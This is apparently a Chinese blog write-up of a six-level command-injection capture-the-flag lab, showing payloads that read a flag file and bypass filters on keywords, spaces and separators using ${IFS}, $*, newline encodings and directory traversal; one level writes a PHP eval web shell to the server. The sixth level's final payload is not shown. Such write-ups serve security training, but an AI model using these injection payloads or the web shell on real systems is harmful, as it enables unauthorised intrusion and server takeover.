WEB-命令注入

命令注入----第一关(无过滤)

根据提示  flag在/tmp/flag.txt内

编辑注入语句

127.0.0.1|cat /tmp/flag.txt

 

得到   flag

 

 

命令注入---第二关(过滤cat)

可使用   $*  、\、字母大小写   等过滤 关键字

编辑注入语句

127.0.0.1|ca$*t /tmp/flag.txt

 

得到   flag

 

命令注入---第三关(过滤空格)

可使用   ${IFS}、>、<   等过滤空格

编辑注入语句

127.0.0.1|cat${IFS}/tmp/flag.txt

 

得到   flag

 

命令注入---第四关(过滤目录)

查看源码,发现过滤了  /、\、//

因过滤的运算符,没法直接cat,

方法一:所以只有回到tmp目录下在查看flag,

方法二:或者可以通过写码的方式,直接后台查看

 

方法一:编辑注入语句

127.0.0.1;cd ..; cd ..;cd ..;cd ..;ls

 

可以看到tmp目录,

在接着进入tmp目录下查看 flag.txt    在编辑语句

127.0.0.1;cd ..; cd ..;cd ..;cd ..;cd tmp;cat flag.txt

 

得到   flag

 

方法二:编辑写入木马语句

127.0.0.1;echo "<?php @eval{$_POST[abcd]};?>" > 001.php

 

查看一下,木马写入成功。接着使用中国蚁剑链接即可。蚁剑用法,可自行百度

 

 

命令注入--第五关(过滤运算符)

查看源码,发现,常用的分隔符和运算符都被过滤,但是没有过滤分号  ;  。

解题方法可以参考第四关

编辑语句

127.0.0.1;cd ..; cd ..;cd ..;cd ..;cd tmp;cat flag.txt

 

得到   flag

 

 命令注入---第六关(综合过滤)

查看源码,发现,常用的运算符、分隔符、和cat、flag等关键字及符号(包括空格    )都已被过滤

此关,可结合以上过滤方法及思路

绕过空格  :${IFS}、<、>  等符号

绕过关键字:$* 、\ 、”、字母大小写

换行:%0a、%0d

TAB建补齐:%09

 尝试写码,但;分号被过滤,没法写入

只能使用方法一,回到tmp目录下查看flag

编辑语句


此语句,使用

其语句思路和第四关、第五关一致,此关,在朋友的提示下发现,tmp目录下还有一个tmp目录,所以思路为:/tmp/tmp/flag.txt

至此     得到   flag

 完。。。。

posted @ 2024-11-28 23:41  梧先生、  阅读(102)  评论(0)    收藏  举报